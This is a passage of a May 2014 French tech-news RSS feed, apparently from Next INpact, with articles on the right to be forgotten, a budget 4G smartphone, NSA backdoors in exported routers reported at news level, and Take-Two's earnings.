+&lt;p&gt;&lt;span lang="FR"&gt;Et enfin, puisqu'on en parle beaucoup depuis l&amp;rsquo;arr&amp;ecirc;t de la CJUE d&amp;rsquo;hier, je suis radicalement oppos&amp;eacute; &amp;agrave; un droit &amp;agrave; l'oubli tant qu'il n'aura pas &amp;eacute;t&amp;eacute; clairement formul&amp;eacute;. Ce dont on s'aper&amp;ccedil;oit actuellement, c'est que rien ne d&amp;eacute;finit aujourd'hui le droit &amp;agrave; l'oubli. Or je re&amp;ccedil;ois des notifications tous les jours et ce n'est pas monsieur ou madame tout le monde qui me contacte en g&amp;eacute;n&amp;eacute;ral, ce sont souvent des politiques ou des personnes qui ont &amp;eacute;t&amp;eacute; condamn&amp;eacute;es en justice. Ils se servent de la loi &amp;laquo;&amp;nbsp;Informatique et Libert&amp;eacute;s&amp;nbsp;&amp;raquo; de 1978 pour faire retirer tout ce qui les concerne et leur semble n&amp;eacute;gatif. Finalement, ce droit &amp;agrave; l'oubli est appliqu&amp;eacute; de mani&amp;egrave;re d&amp;eacute;sastreuse, parce qu'il ne marche que pour les sites de presse, de blogs... et surtout parce que ce sont les mauvaises personnes qui l'utilisent.&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;strong&gt;&lt;span lang="FR"&gt;Merci Nicolas Poirier.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 14:00:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87519.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87532-ultym-5-smartphone-4g-interessant-avec-ecran-45-pour-11990-nu.htm</guid><link>http://www.nextinpact.com/news/87532-ultym-5-smartphone-4g-interessant-avec-ecran-45-pour-11990-nu.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>sebastien@nextinpact.com</author><category>Smartphones</category><title>Ultym 5 : un smartphone 4G intéressant avec un écran de 4,5" pour 119,90 € nu</title><description>&lt;p class="actu_chapeau"&gt;Bouygues Telecom vient d'annoncer un nouveau smartphone int&amp;eacute;ressant &amp;agrave; moins de 120 euros&amp;nbsp;: l'Ultym 5. Il dispose d'un &amp;eacute;cran de 4,5 pouces affichant&amp;nbsp;960 x 540 pixels, d'une puce comprenant quatre c&amp;oelig;urs &amp;agrave; 1,2 GHz, de 8 Go de stockage et d'une prise en charge de la 4G.&amp;nbsp;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146740.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146740.png" alt="Ultym 5" width="598" height="284" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Apr&amp;egrave;s les &lt;a href="http://www.nextinpact.com/news/87456-wiko-wax-smartphone-4g-47-pouces-avec-tegra-4i-pour-19990.htm" target="_blank"&gt;Wiko Wax&lt;/a&gt;&amp;nbsp;(avec une puce &lt;span data-affiliable="true" data-affkey="Tegra 4i"&gt;Tegra 4i&lt;/span&gt; de NVIDIA) et &lt;a href="http://www.nextinpact.com/news/87501-motorola-4g-pour-moto-g-et-moto-e-43-sous-android-4-4-a-119.htm" target="_blank"&gt;Moto G/E de Motorola&lt;/a&gt;, la guerre des &lt;span data-affiliable="false" data-affkey="smartphones"&gt;smartphones&lt;/span&gt; &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; &amp;agrave; moins de 200 euros continue de plus belle avec &lt;span data-affiliable="false" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt; qui semble d&amp;eacute;cid&amp;eacute; &amp;agrave; frapper fort avec son dernier mobile : l'Ultym 5.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Ultym 5 c&amp;ocirc;t&amp;eacute; technique : &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt;, 4,5 pouces qHD, quatre c&amp;oelig;urs, 8 Go et Android 4.3&lt;/h3&gt;
+&lt;p&gt;Celui-ci dispose en effet de caract&amp;eacute;ristiques techniques int&amp;eacute;ressantes avec une puce quad core &amp;agrave; 1,2 GHz, un &amp;eacute;cran de 4,5 pouces de 960 x 540 pixels et surtout la prise en charge de la&amp;nbsp;&lt;span data-affiliable="true" data-affkey="4G"&gt;4G&lt;/span&gt; jusqu'&amp;agrave; 100 Mb/s maximum.&amp;nbsp;8 Go de stockage sont pr&amp;eacute;sents par d&amp;eacute;faut, ce qui est plut&amp;ocirc;t appr&amp;eacute;ciable alors que l'entr&amp;eacute;e de gamme ne dispose g&amp;eacute;n&amp;eacute;ralement que de 4 Go. Ses mensurations sont de 131,2 x 65,3 x 7,9 mm. Il est donc relativement plus fin que le Moto G et ses 129,9 x 65,9 x 11,6 mm.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Du c&amp;ocirc;t&amp;eacute; du syst&amp;egrave;me d'exploitation, Android 4.3 est aux commandes. Dommage que l'op&amp;eacute;rateur fasse l'impasse sur Android 4.4 (Kitkat) alors qu'on retrouve&amp;nbsp;cette mouture dans les &lt;a class="aff-lnk" href="../goaff/55e908767f724d1a6516779659fe82f13e7b2781c060b67ecc65c03a78b5d539" data-id="55e908767f724d1a6516779659fe82f13e7b2781c060b67ecc65c03a78b5d539 target="&gt;Moto G&lt;/a&gt;&amp;nbsp;et E de Motorola par exemple.&amp;nbsp;Nous n'avons&amp;nbsp;par contre pas plus de d&amp;eacute;tails pour le moment, notamment en ce qui concerne la quantit&amp;eacute; de m&amp;eacute;moire vive embarqu&amp;eacute;e ou la r&amp;eacute;f&amp;eacute;rence&amp;nbsp;exacte du&amp;nbsp;SoC exploit&amp;eacute;.&lt;/p&gt;
+&lt;h3&gt;Ultym 5 c&amp;ocirc;t&amp;eacute; tarif : 119,90 euros, via une ODR de 30 euros&lt;/h3&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; tarif, l'Ultym 5&amp;nbsp;sera propos&amp;eacute; &amp;agrave; partir de 1 euro avec un &lt;a href="http://www.touslesforfaits.fr/operateur/bouygues-telecom" target="_blank"&gt;forfait Sensation&lt;/a&gt;&amp;nbsp;3 Go et en engagement de 24 mois. Il sera &amp;eacute;galement propos&amp;eacute; nu pour 149,90 euros, et&amp;nbsp;une offre de remboursement de 30 euros fera redescendre son prix &amp;agrave; 119,90 euros seulement. On descend donc encore d'un cran par rapport &amp;agrave; &lt;a href="http://www.nextinpact.com/news/86248-les-smartphones-4g-a-180-euros-vont-se-multiplier-a-compter-davril.htm" target="_blank"&gt;ce qui avait &amp;eacute;t&amp;eacute; annonc&amp;eacute; au&amp;nbsp;MWC de Barcelone&lt;/a&gt;&amp;nbsp;puisqu'il &amp;eacute;tait alors question de 180 &amp;agrave; 200 euros.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le smartphone sera disponible d&amp;eacute;but juin dans les magasins physiques, dans les boutiques en ligne, ainsi que chez B&amp;amp;You, la marque &amp;laquo; Low cost &amp;raquo; de &lt;span data-affiliable="true" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt;. Nous aurons certainement plus de d&amp;eacute;tails sur l'ODR et sur le smartphone &amp;agrave; ce moment-l&amp;agrave;.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 13:37:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87532.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87527-la-nsa-a-modifie-routeurs-americains-avant-leur-vente-a-etranger.htm</guid><link>http://www.nextinpact.com/news/87527-la-nsa-a-modifie-routeurs-americains-avant-leur-vente-a-etranger.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>vincent@nextinpact.com</author><category>Sécurité</category><title>La NSA a modifié des routeurs américains avant leur vente à l'étranger</title><description>&lt;p class="actu_chapeau"&gt;Des documents internes &amp;agrave; la NSA montrent que l&amp;rsquo;agence am&amp;eacute;ricaine de s&amp;eacute;curit&amp;eacute; a volontairement modifi&amp;eacute; des routeurs et des &amp;eacute;quipements r&amp;eacute;seaux avant qu&amp;rsquo;ils soient commercialis&amp;eacute;s. Les changements effectu&amp;eacute;s permettent ainsi d&amp;rsquo;obtenir des portes d&amp;eacute;rob&amp;eacute;es, autorisant de fait un espionnage direct des donn&amp;eacute;es qui transitent dans les appareils.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146735.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146735.jpeg" alt="routeur huawei" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3&gt;2012, la tension entre les &amp;Eacute;tats-Unis, Huawei et ZTE&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;L&amp;rsquo;ann&amp;eacute;e 2012 avait &amp;eacute;t&amp;eacute; marqu&amp;eacute;e par une opposition manifeste du gouvernement am&amp;eacute;ricain aux &amp;eacute;quipements r&amp;eacute;seau provenant de deux constructeurs chinois&amp;nbsp;: Huawei et ZTE. Tout commence lorsqu&amp;rsquo;un rapport &amp;eacute;mis par le House Intelligence Commitee &lt;a href="http://www.nextinpact.com/news/74381-huawei-et-zte-menace-pour-securite-nationale-americaine.htm" target="_blank"&gt;conseille aux entreprises am&amp;eacute;ricaines&lt;/a&gt;&amp;nbsp;de se m&amp;eacute;fier des produits de ces deux marques. Le directeur du Comit&amp;eacute;, Mike Rogers, insistait&amp;nbsp;quant &amp;agrave; lui ses craintes d&amp;rsquo;espionnage industriel par la Chine &amp;agrave; travers Huawei et ZTE.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le comit&amp;eacute; avait tent&amp;eacute; d&amp;rsquo;engager des n&amp;eacute;gociations avec les deux soci&amp;eacute;t&amp;eacute;s pour obtenir des d&amp;eacute;tails suppl&amp;eacute;mentaires. Mais Huawei et ZTE avaient toutes deux refus&amp;eacute;, arguant que certaines informations mettraient directement en p&amp;eacute;ril le secret industriel. Devant ce refus d&amp;rsquo;obtemp&amp;eacute;rer, le comit&amp;eacute; de surveillance avait renforc&amp;eacute; son encouragement aux entreprises am&amp;eacute;ricaines &amp;agrave; se tourner vers d&amp;rsquo;autres &amp;eacute;quipementiers r&amp;eacute;seau. Tout en reconnaissant qu&amp;rsquo;il n&amp;rsquo;avait aucune preuve directe des soup&amp;ccedil;ons avanc&amp;eacute;s.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La situation &amp;eacute;tait donc tendue et avait m&amp;ecirc;me abouti au d&amp;eacute;part d'Huawei du march&amp;eacute; am&amp;eacute;ricain &amp;agrave; l&amp;rsquo;automne dernier. Ren Zhengfei, pr&amp;eacute;sident et fondateur de l&amp;rsquo;entreprise, avait indiqu&amp;eacute; que cela ne valait &amp;laquo;&amp;nbsp;&lt;em&gt;pas le coup&lt;/em&gt;&amp;nbsp;&amp;raquo; si Huawei finissait par se mettre &amp;laquo;&amp;nbsp;&lt;em&gt;en travers des relations entre les &amp;Eacute;tats-Unis et la Chine&lt;/em&gt;&amp;nbsp;&amp;raquo;.&lt;/p&gt;
+&lt;h3&gt;La NSA modifie certains &amp;eacute;quipements vendus par les entreprises am&amp;eacute;ricaines&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Des documents d&amp;eacute;rob&amp;eacute;s par &lt;span data-affiliable="true" data-affkey="Edward Snowden"&gt;Edward Snowden&lt;/span&gt; permettent de jeter un &amp;eacute;clairage nouveau sur cette affaire. &lt;a href="http://www.theguardian.com/books/2014/may/12/glenn-greenwald-nsa-tampers-us-internet-routers-snowden?r" target="_blank"&gt;Selon Glenn Greenwald&lt;/a&gt;, qui a r&amp;eacute;alis&amp;eacute; la premi&amp;egrave;re interview du lanceur d&amp;rsquo;alertes, les &amp;Eacute;tats-Unis avaient toutes les raisons de se m&amp;eacute;fier de Huawei et ZTE, mais pas n&amp;eacute;cessairement celles que l&amp;rsquo;on croit&amp;nbsp;: la NSA a manipul&amp;eacute; et modifi&amp;eacute; des &amp;eacute;quipements r&amp;eacute;seau &amp;eacute;manant d&amp;rsquo;entreprises am&amp;eacute;ricaines avant qu&amp;rsquo;ils soient r&amp;eacute;exp&amp;eacute;dies chez des clients internationaux.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Un document interne &amp;agrave; la NSA, datant de 2010, fait ainsi r&amp;eacute;f&amp;eacute;rence &amp;agrave; cette op&amp;eacute;ration. Ceux qui suivent de pr&amp;egrave;s les d&amp;eacute;veloppements de l&amp;rsquo;affaire Snowden ne seront cependant pas &amp;eacute;tonn&amp;eacute;s de cette nouvelle information. Dans un article &lt;a href="http://www.nextinpact.com/news/82200-la-nsa-a-transforme-internet-en-vaste-plateforme-surveillance.htm" target="_blank"&gt;datant de septembre dernier&lt;/a&gt;, nous relations ainsi comment l&amp;rsquo;agence am&amp;eacute;ricaine de s&amp;eacute;curit&amp;eacute; investissait pour la protection du pays. Elle disposait ainsi de deux facettes distinctes, l&amp;rsquo;une d&amp;eacute;di&amp;eacute;e effectivement &amp;agrave; la d&amp;eacute;fense, l&amp;rsquo;autre &amp;agrave; l&amp;rsquo;attaque.&lt;/p&gt;
+&lt;h3&gt;Protocoles de s&amp;eacute;curit&amp;eacute;, routeurs, m&amp;ecirc;me combat&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Le cas le plus embl&amp;eacute;matique &amp;eacute;tait celui d&amp;rsquo;un protocole de s&amp;eacute;curit&amp;eacute;. Pour qu&amp;rsquo;il puisse &amp;ecirc;tre utilis&amp;eacute; par les administrations, il doit &amp;ecirc;tre avalis&amp;eacute; par la NSA, qui dispose effectivement d&amp;rsquo;une forte expertise dans ce domaine. Mais tandis qu&amp;rsquo;un protocole peut recevoir des am&amp;eacute;liorations gr&amp;acirc;ce aux conseils de l&amp;rsquo;agence, une division sp&amp;eacute;cifique en &amp;eacute;tudie les failles potentielles. Quand elles sont trouv&amp;eacute;es, elles ne sont pas forc&amp;eacute;ment corrig&amp;eacute;es, mais au contraire catalogu&amp;eacute;es pour &amp;ecirc;tre &amp;eacute;ventuellement exploit&amp;eacute;es plus tard. Quand on sait que le SSL fait partie des protocoles ainsi &amp;laquo;&amp;nbsp;renforc&amp;eacute;s&amp;nbsp;&amp;raquo; par la NSA, on comprend mieux les soup&amp;ccedil;ons visant l&amp;rsquo;agence dans &lt;a href="http://www.nextinpact.com/news/86941-heartbleed-openssl-et-question-securite-expliques-simplement.htm" target="_blank"&gt;le cas de la faille HeartBleed&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Or, la NSA se serait livr&amp;eacute;e &amp;eacute;galement &amp;agrave; ce jeu avec certains &amp;eacute;quipements r&amp;eacute;seau vendus par des entreprises am&amp;eacute;ricaines. Dans son &lt;a href="http://www.theguardian.com/books/2014/may/12/glenn-greenwald-nsa-tampers-us-internet-routers-snowden?r" target="_blank"&gt;article de The Guardian&lt;/a&gt;, Greenwald indique ainsi que le d&amp;eacute;partement &amp;laquo;&amp;nbsp;Access and Target Development&amp;nbsp;&amp;raquo; de l&amp;rsquo;agence &amp;laquo;&amp;nbsp;&lt;em&gt;re&amp;ccedil;oit, ou intercepte, des routeurs, serveurs et autres &amp;eacute;quipements r&amp;eacute;seau informatiques en cours d&amp;rsquo;export depuis les &amp;Eacute;tats-Unis, avant qu&amp;rsquo;ils ne soient livr&amp;eacute;s aux clients internationaux&lt;/em&gt;&amp;nbsp;&amp;raquo;. Une fois ces &amp;eacute;quipements en sa possession, la NSA en modifie le fonctionnement pour ajouter surtout des portes d&amp;eacute;rob&amp;eacute;es.&lt;/p&gt;
+&lt;h3&gt;Une voie royale vers des donn&amp;eacute;es strat&amp;eacute;giques&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Pourquoi des portes d&amp;eacute;rob&amp;eacute;es&amp;nbsp;? Pour les m&amp;ecirc;mes raisons qui poussaient le House Intelligence Commitee &amp;agrave; mettre en garde les entreprises am&amp;eacute;ricaines contre Huawei et ZTE&amp;nbsp;: l&amp;rsquo;acc&amp;egrave;s direct aux donn&amp;eacute;es transitant par ces produits modifi&amp;eacute;s. En fonction du type d&amp;rsquo;&amp;eacute;quipement et de son utilisation, la NSA a donc pu avoir acc&amp;egrave;s &amp;agrave; des r&amp;eacute;seaux entiers, et tr&amp;egrave;s probablement &amp;agrave; des informations strat&amp;eacute;giques.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les buts poursuivis par de telles manipulations ne sont pas mentionn&amp;eacute;s. Il peut &amp;eacute;videmment s&amp;rsquo;agir de protection contre le terrorisme, mais puisqu&amp;rsquo;on parle de clients internationaux au sens large, le spectre de l&amp;rsquo;espionnage industriel n&amp;rsquo;est pas loin. D&amp;rsquo;autant que l&amp;rsquo;agence s&amp;rsquo;est visiblement donn&amp;eacute; du mal pour que rien ne transparaisse, le document interne mentionnant comment les &amp;eacute;quipes charg&amp;eacute;es de cette activit&amp;eacute; remettaient tout en place dans les cartons, en restaurant au passage le sceau d&amp;rsquo;ouverture. Une fois l&amp;rsquo;op&amp;eacute;ration effectu&amp;eacute;e, les colis &amp;eacute;taient envoy&amp;eacute;s aux clients.&lt;/p&gt;
+&lt;h3&gt;La concurrence sur le terrain du renseignement&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;De fait, ce document jette bien une nouvelle lumi&amp;egrave;re sur la situation de 2012. Il est tout &amp;agrave; fait possible que les &amp;eacute;quipements de Huawei et ZTE contiennent effectivement ce genre de portes d&amp;eacute;rob&amp;eacute;es. Mais les craintes exprim&amp;eacute;es par le House Intelligence Commitee peuvent avoir deux raisons, qui ne s&amp;rsquo;excluent pas, &amp;agrave; savoir l&amp;rsquo;espionnage par la Chine et la perte d&amp;rsquo;influence de la NSA. La causalit&amp;eacute; b&amp;acirc;t ici son plein&amp;nbsp;: plus il y a d&amp;rsquo;&amp;eacute;quipements chinois, moins il y a d&amp;rsquo;&amp;eacute;quipements am&amp;eacute;ricains, et moins les portes d&amp;eacute;rob&amp;eacute;es am&amp;eacute;ricaines peuvent fournir de renseignements.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Et des renseignements, la NSA en a obtenu. Le rapport de 2010 contient en effet un passage tr&amp;egrave;s clair&amp;nbsp;: &amp;laquo;&amp;nbsp;&lt;em&gt;Dans une affaire r&amp;eacute;cente, apr&amp;egrave;s plusieurs mois, une balise implant&amp;eacute;e&lt;/em&gt; [&amp;hellip;] &lt;em&gt;a rappel&amp;eacute; l&amp;rsquo;infrastructure secr&amp;egrave;te de la NSA. Ce rappel nous a fourni un acc&amp;egrave;s renforc&amp;eacute; &amp;agrave; l&amp;rsquo;appareil et une surveillance du r&amp;eacute;seau&lt;/em&gt;&amp;nbsp;&amp;raquo;. Aucune information ne pr&amp;eacute;cise de quel type de r&amp;eacute;seau il s&amp;rsquo;agissait, mais l&amp;rsquo;agence semble particuli&amp;egrave;rement heureuse des r&amp;eacute;sultats obtenus, le rapport mettant en avant l&amp;rsquo;efficacit&amp;eacute; de ces techniques d&amp;rsquo;espionnage.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Sous le masque de l&amp;rsquo;int&amp;eacute;r&amp;ecirc;t des entreprises am&amp;eacute;ricaines, il se pourrait donc que l&amp;rsquo;opposition &amp;agrave; Huawei et ZTE soit la partie &amp;eacute;merg&amp;eacute;e d&amp;rsquo;une concurrence sur le terrain sur renseignement.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 12:30:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87527.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87526-take-two-33-millions-gta-v-vendus-et-gros-benefices-a-cle.htm</guid><link>http://www.nextinpact.com/news/87526-take-two-33-millions-gta-v-vendus-et-gros-benefices-a-cle.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>kevin@nextinpact.com</author><category>Finances</category><title>Take Two : 33 millions de GTA V vendus et de gros bénéfices à la clé</title><description>&lt;p class="actu_chapeau"&gt;Les annonces de r&amp;eacute;sultats financiers s'encha&amp;icirc;nent chez les &amp;eacute;diteurs, et c'est d&amp;eacute;sormais au tour de Take Two de faire l'&amp;eacute;talage de ses chiffres. Si le dernier trimestre de l'exercice fiscal 2014 n'a pas &amp;eacute;t&amp;eacute; tr&amp;egrave;s glorieux, le lancement de GTA V en septembre a permis de d&amp;eacute;gager d'importants b&amp;eacute;n&amp;eacute;fices sur l'ensemble de l'ann&amp;eacute;e.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/139879.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-139879.jpeg" alt="Grand Theft Auto V GTA" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;h3 style="text-align: justify;"&gt;L'&amp;eacute;diteur de GTA V touche le jackpot&lt;/h3&gt;
+&lt;p style="text-align: justify;"&gt;Take Two peut se f&amp;eacute;liciter d'avoir r&amp;eacute;alis&amp;eacute; un excellent exercice fiscal cette ann&amp;eacute;e. La sortie de &lt;em&gt;Grand Theft Auto V&lt;/em&gt; aidant grandement, l'&amp;eacute;diteur am&amp;eacute;ricain a g&amp;eacute;n&amp;eacute;r&amp;eacute; pas moins de 2,35 milliards de dollars de chiffre d'affaires et un b&amp;eacute;n&amp;eacute;fice net de 361,7 millions de dollars. &amp;Agrave; titre de comparaison, un an plus t&amp;ocirc;t il n'&amp;eacute;tait question que de 1,2 milliard de CA pour une perte nette de 31,2 millions de dollars.&lt;/p&gt;
+&lt;p style="text-align: justify;"&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: justify;"&gt;Il faut dire que les ventes de &lt;em&gt;GTA V&lt;/em&gt; on fait plus que tirer l'&amp;eacute;diteur vers le haut. Avec plus de 33 millions d'exemplaires &amp;eacute;coul&amp;eacute;s, le titre a g&amp;eacute;n&amp;eacute;r&amp;eacute; plus d'un milliard de dollars de chiffre d'affaires, largement de quoi rentabiliser son co&amp;ucirc;t de d&amp;eacute;veloppement, estim&amp;eacute; aux alentours de 200 millions de dollars par nombre d'analystes.&amp;nbsp;&lt;/p&gt;
+&lt;h3 style="text-align: justify;"&gt;Le reste du catalogue tient la route&lt;/h3&gt;
+&lt;p&gt;Sur le dernier trimestre, les r&amp;eacute;sultats sont un peu moins glorieux puisqu'il n'est question que d'un chiffre d'affaires de 195,2 millions de dollars, soit environ 100 millions de moins qu'un an plus t&amp;ocirc;t, lors de la sortie de &lt;em&gt;Bioshock Infinite&lt;/em&gt;. Avec une telle baisse des ventes, l'annonce de pertes &amp;agrave; hauteur de 30,8 millions de dollars n'a rien de tr&amp;egrave;s surprenant. Au vu des 935 millions de dollars de cash actuellement entre les mains de l'&amp;eacute;diteur, ce petit accroc&amp;nbsp;est loin de remettre sa sant&amp;eacute; financi&amp;egrave;re en cause.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si Grand Theft Auto V fait partie avec NBA 2K14 des titres ayant g&amp;eacute;n&amp;eacute;r&amp;eacute; le plus de chiffre, les ventes du fond de catalogue de l'&amp;eacute;diteur, compos&amp;eacute; notamment de &lt;em&gt;Borderlands 2, BioShock Infinite,&lt;/em&gt; du reste de la saga &lt;em&gt;GTA&lt;/em&gt; et &lt;em&gt;Civilization V&lt;/em&gt; se portent plut&amp;ocirc;t bien et sont &amp;agrave; l'origine d'un revenu de 75,7 millions de dollars.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Rockstar devrait lancer un nouveau jeu avant mars 2015&lt;/h3&gt;
+&lt;p&gt;Concernant les titres attendus chez Take Two pour l'exercice fiscal en cours, il n'y a pas vraiment de surprise. &lt;em&gt;NBA 2K15&lt;/em&gt; arrivera le 7 octobre sur la plupart des plateformes, et&amp;nbsp;&lt;em&gt;Sid Meier&amp;rsquo;s Civilization: Beyond Earth&lt;/em&gt; est attendu sur PC pour l'automne 2014. Il est &amp;eacute;galement question de&amp;nbsp;&lt;em&gt;Borderlands: The Pre-Sequel&lt;/em&gt; sur PC, PS3 et Xbox 360 &amp;agrave; la m&amp;ecirc;me p&amp;eacute;riode, avec &lt;em&gt;Evolve&lt;/em&gt; qui ne viendra que sur PC, &lt;span data-affiliable="true" data-affkey="PS4"&gt;PS4&lt;/span&gt; et &lt;span data-affiliable="true" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt;.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;On retiendra surtout l'annonce d'un jeu encore non-annonc&amp;eacute; par Rockstar qui devrait &amp;ecirc;tre lanc&amp;eacute; d'ici la fin de l'exercice fiscal, c'est &amp;agrave; dire avant la fin du mois de mars 2015. Take Two le d&amp;eacute;crit comme un jeu de&amp;nbsp;&lt;em&gt;&amp;laquo; la g&amp;eacute;n&amp;eacute;ration actuelle &amp;raquo;&lt;/em&gt;, ce qui pourrait signifier qu'il ne faut l'attendre que sur &lt;span data-affiliable="true" data-affkey="PlayStation 4"&gt;PlayStation 4&lt;/span&gt;, &lt;span data-affiliable="true" data-affkey="Xbox One"&gt;Xbox One&lt;/span&gt; et &amp;eacute;ventuellement sur PC. Take Two ne pr&amp;eacute;cisant pas s'il s'agit d'une nouvelle franchise ou d'une licence d&amp;eacute;j&amp;agrave; exploit&amp;eacute;e, il pourrait s'agir d'un portage de &lt;em&gt;Grand Theft Auto V&lt;/em&gt; sur consoles de nouvelle g&amp;eacute;n&amp;eacute;ration, mais rien ne nous permet de l'affirmer. Comme souvent, il faudra certainement attendre l'E3 pour en apprendre davantage.&lt;/p&gt;</description><pubDate>Wed, 14 May 2014 12:06:52 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87526.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87531-droit-au-dereferencement-dans-google-gouvernement-francais-applaudit.htm</guid><link>http://www.nextinpact.com/news/87531-droit-au-dereferencement-dans-google-gouvernement-francais-applaudit.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>marc@nextinpact.com</author><category>Justice</category><title>Droit au déréférencement dans Google : le gouvernement français applaudit</title><description>&lt;p class="actu_chapeau"&gt;Hier, la Cour de justice de l&amp;rsquo;Union europ&amp;eacute;enne rendait un arr&amp;ecirc;t important&amp;nbsp;: il consacre le droit &amp;agrave; l&amp;rsquo;effacement des donn&amp;eacute;es nominatives dans Google. Le gouvernement fran&amp;ccedil;ais vient d&amp;rsquo;applaudir cette d&amp;eacute;cision qui vient poser les jalons d&amp;rsquo;un v&amp;eacute;ritable droit &amp;agrave; l&amp;rsquo;effacement.&lt;/p&gt;&lt;p&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146220.png" rel="group_fancy"&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/medium-146220.png" alt="axelle lemaire" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La CJUE a estim&amp;eacute; hier que le droit europ&amp;eacute;en sur les donn&amp;eacute;es personnelles &amp;eacute;tait parfaitement applicable &amp;agrave; Google, quand bien m&amp;ecirc;me celle-ci op&amp;egrave;re depuis les &amp;Eacute;tats-Unis (&lt;a href="http://www.nextinpact.com/news/87498-face-a-google-justice-europeenne-reconnait-droit-a-l-effacement.htm" target="_blank"&gt;notre analyse&lt;/a&gt;).&lt;/p&gt;
+&lt;h3&gt;Le droit sur les donn&amp;eacute;es personnelles applicable au moteur Google&lt;/h3&gt;
+&lt;p&gt;Dans cette affaire, elle permet finalement &amp;agrave; un Espagnol qui r&amp;eacute;clamait de Google l&amp;rsquo;effacement de ses donn&amp;eacute;es nominatives, de faire trancher ce litige par les juridictions nationales. En saisissant son nom dans Google Espagne, cet Espagnol remarquait que le moteur faisait appara&amp;icirc;tre deux articles de presse vieux de 16 ans relatant ses difficult&amp;eacute;s financi&amp;egrave;res. Les juridictions espagnoles devront maintenant dire si cette information m&amp;eacute;rite de rester r&amp;eacute;f&amp;eacute;renc&amp;eacute;e ou bien doit au contraire &amp;ecirc;tre effac&amp;eacute;e. Tout d&amp;eacute;pendra en fait de la notori&amp;eacute;t&amp;eacute; du demandeur. S&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;un simple particulier, comme ici, le d&amp;eacute;r&amp;eacute;f&amp;eacute;rencement devra &amp;ecirc;tre ordonn&amp;eacute;. S&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;une personnalit&amp;eacute; connue, le droit &amp;agrave; l&amp;rsquo;information des Espagnols primera.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
